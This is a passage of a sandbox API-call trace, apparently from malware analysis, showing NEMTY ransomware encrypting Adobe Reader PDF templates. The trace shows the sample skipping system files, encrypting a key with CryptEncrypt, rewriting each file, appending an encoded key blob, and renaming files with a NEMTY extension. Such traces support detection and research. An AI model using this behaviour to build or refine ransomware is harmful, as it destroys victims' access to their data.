nFileSizeHigh=0x0, nFileSizeLow=0x20cc1, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.200] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.201] Sleep (dwMilliseconds=0x5) [0171.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b1d750, dwHighDateTime=0x1d561e8)) [0171.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b1d750, dwHighDateTime=0x1d561e8)) [0171.208] GetLastError () returned 0xb7 [0171.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.208] GetLastError () returned 0xb7 [0171.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.209] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0171.209] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e5dc | out: pszString="G6W4W0rxIz5NH+vm9EmSuYP9ERRSrpX4qJGD/rxZ1ZhtyAWUEwa1jf3lk1bYKkm3\r\ncqcNWCUP462mUedohlzzYUKjnpWBHsD4UE2v5dt/iorxnpimXYyKlsd22StcSNh8\r\n+U7tHW6m+yhhHWXMMjPH7pq0nniUMWgfDnNzqlbMutjicJ/6iGKHEIjznJkzHAC1\r\nATrb1aGKf+sNbRl/l1u8ypGIsYhwefMq3WNwnZk1UWFj/HH51v3M74D/hMU6Im5r\r\nQxihfFY4AZs1xuUOb8k+4p8YoFjnImFz4JTxMmJhBbgu193YGPcfr7naJEwc/51j\r\nUOuTZE5tdh1izZPMqCR4vw==\r\n", pcchString=0x653e5dc) returned 1 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0171.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.209] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=134337) returned 1 [0171.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0171.209] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.209] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0171.218] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.218] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0171.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.218] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=134337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20cc1 [0171.218] WriteFile (in: hFile=0x3b0, lpBuffer=0x63401d8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63401d8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.219] CloseHandle (hObject=0x3b0) returned 1 [0171.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340348 [0171.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403f0 [0171.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340498 [0171.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0171.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.219] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.221] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x207b0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.221] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.222] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.222] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.222] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.222] Sleep (dwMilliseconds=0x5) [0171.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b438b0, dwHighDateTime=0x1d561e8)) [0171.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b438b0, dwHighDateTime=0x1d561e8)) [0171.223] GetLastError () returned 0x0 [0171.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.223] GetLastError () returned 0x0 [0171.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.224] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.224] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0171.224] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e5dc | out: pszString="zg46zJGymA6ZNHmBU5SqTw3hQVlyOpzz16ayThipcj9W7MPZmiME+Ihwn/qeazbt\r\nRGkn4R+P5fa67Rnu8HVcNR/JLjd80mApJ1FFdlhWQa7rJW8OEEWnDWL/SkZo9iX/\r\nCbBotc7/Ua/XD6a3qXrWKihxXjHSg0r401ShMYrqQmQzySk/9UkB6wFQ4M2fbzCC\r\nzW6IgGfq9cloxNnRo9XEYCjn3eYCs2ULz4h3xfDsqZonlv90mO3T96J14ACY82sV\r\nAXv5KVdwaSmih52DAC2rYKKlFWwZkwiwolkicGLqnXxj3jRC8+HndCCftK2/Ug0I\r\nceDiwtJqaAsRfDE26GgKqA==\r\n", pcchString=0x653e5dc) returned 1 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0171.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.224] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=133040) returned 1 [0171.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0171.224] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.224] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0171.233] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.233] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0171.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.234] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=133040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x207b0 [0171.234] WriteFile (in: hFile=0x3b0, lpBuffer=0x63401d8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63401d8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.234] CloseHandle (hObject=0x3b0) returned 1 [0171.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340348 [0171.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403f0 [0171.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340498 [0171.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0171.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.234] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: 